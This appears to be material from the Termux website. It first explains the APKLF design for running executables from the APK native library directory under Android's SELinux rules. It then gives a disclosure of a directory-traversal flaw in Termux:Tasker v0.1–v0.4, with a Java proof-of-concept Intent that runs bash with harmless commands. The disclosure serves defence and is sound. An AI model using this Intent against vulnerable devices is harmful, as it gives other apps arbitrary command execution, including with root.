Termux.dev Website Source

The APKLF (APK Library File) is a new execution and packaging design being implemented to ensure Termux remains functional as Android security restrictions evolve.

The Problem: Android Execution Restrictions

Android restricts the execution of files located in an app's private data directory (/data/data/<package_name>) if the app targets targetSdkVersion >= 29 (Android 10). This is due to SELinux policies (specifically the untrusted_app* context) designed to prevent the execution of downloaded code. Currently, Termux bypasses this by using targetSdkVersion = 28, but this is a temporary workaround that will eventually be deprecated by Android.

The APKLF Solution

To comply with modern Android security while maintaining a functional environment, APKLF aims to leverage the apk_data_file SELinux context. This involves:

• Adding executable files to the APK native library directory.
• These files are extracted to the system-controlled /data/app/*<package_name>/lib/<arch> path during installation, where execution is permitted.
• Because the native library directory is a single-level directory and does not support the nested structures required for a rootfs, files must be symlinked into the rootfs within the app data directory.
• To avoid the need to redistribute a massive single APK for every package update, packages will be distributed in their own separate app APKs.

Termux is transitioning from hardcoded paths to a 'Dynamic Variables' design to support environments where the Termux rootfs directory is not the default /data/data/com.termux/files. This allows Termux packages to function correctly in:

• Secondary Android users or work profiles.
• External SD cards.
• External apps with different app data or rootfs directories.

Implementation Details

• Executable files: These are patched at build time with language-specific code to read environment variables exported by the Termux app at runtime. They are treated as read-only library files located in the system-owned APK native library directory: /data/app/*<package_name>/lib/<arch>.
• Non-executable files: These are patched at install time by the package manager (dpkg). Placeholders in the package files are replaced with the current environment variable values.
• Bootstrap: Similar replacement logic is applied to package files in the Termux app bootstrap during installation.

Packages using this design are identified in their build.sh files and .deb control files.

A vulnerability in Termux:Tasker (versions v0.1 through v0.4) allows any application to execute arbitrary commands within the termux context. If termux has been granted root permissions, the attacker can execute commands with root privileges.

This occurs because FireReceiver.java failed to validate the canonical path of the executable parameter, allowing directory traversal (e.g., using ../../../usr/bin/bash) to bypass the intended restriction of only executing scripts within the ~/.termux/tasker directory.

// Proof of Concept: Simulating an arbitrary command execution via Intent
Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");

Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);

intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);